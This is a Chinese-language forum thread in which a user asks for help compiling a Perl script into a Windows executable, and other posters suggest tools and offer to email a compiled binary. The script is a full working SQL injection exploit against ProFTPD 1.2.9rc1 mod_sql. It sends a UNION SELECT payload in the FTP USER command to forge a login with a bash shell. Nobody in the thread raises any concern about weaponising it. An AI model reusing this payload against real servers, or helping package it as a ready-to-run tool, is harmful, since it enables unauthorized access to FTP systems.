帮忙编译一下这程序好吗（perl）？

哈哈

我在linux中用perl xx.pl来编译是成功了 但我想他变成个exe文件放在windows下用啊？ 请哪位朋友帮帮忙忙 弄成exe 而且说说具体怎么做好吗？谢谢

#!/usr/bin/perl
# ProFTPD 1.2.9 rc1 mod_sql SQL Injection remote Exploit
# Spaine - 2003

use IO::Socket;
if(@ARGC<2){
    print "\nProof Of Concept Sql Inject on ProFTPD\n";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote =
IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1)
                          or die "Can't connect. \n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER ')UNION
SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
}else{
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash'
WHERE(''='\n";
};
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print $remote "ASS p\n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){  #logged in
    print "[------- Sql Inject Able \n";
}else{
    print "[------- Sql Inject Unable \n";
}
close $remote;

orangetouch

ActivePerl下有一个PERLAPP

georgek

兄弟, 應該是perlcc 吧, 但我的perlcc 在xp 下就發生程式錯誤, linux 下的沒問題.....

哈哈

上面两位大哥 说详细点好吗？

georgek

最初由 哈哈 发表
上面两位大哥 说详细点好吗？

就是"應用程式錯誤", 你也是嗎?

tsingson

已经为你编译好，但不能作附件上传

600K 左右，可以给个 email 发给你。

哈哈

谢谢上面的大哥 邮箱是 wangzuan12@yahoo.com.cn 请注名perl 可以说说怎么变成exe文件吗？  我perl xx.pl 好象只是个执行的命令啊~~

orangetouch

最初由 georgek 发表
兄弟, 應該是perlcc 吧, 但我的perlcc 在xp 下就發生程式錯誤, linux 下的沒問題.....

perlcc据说在WINDOWS下也是可以啦,只不过我从来没成功过

Windows下我只用PERLAPP成功过

哈哈

那就没有一个办法可以把他编译成exe 保存下来吗？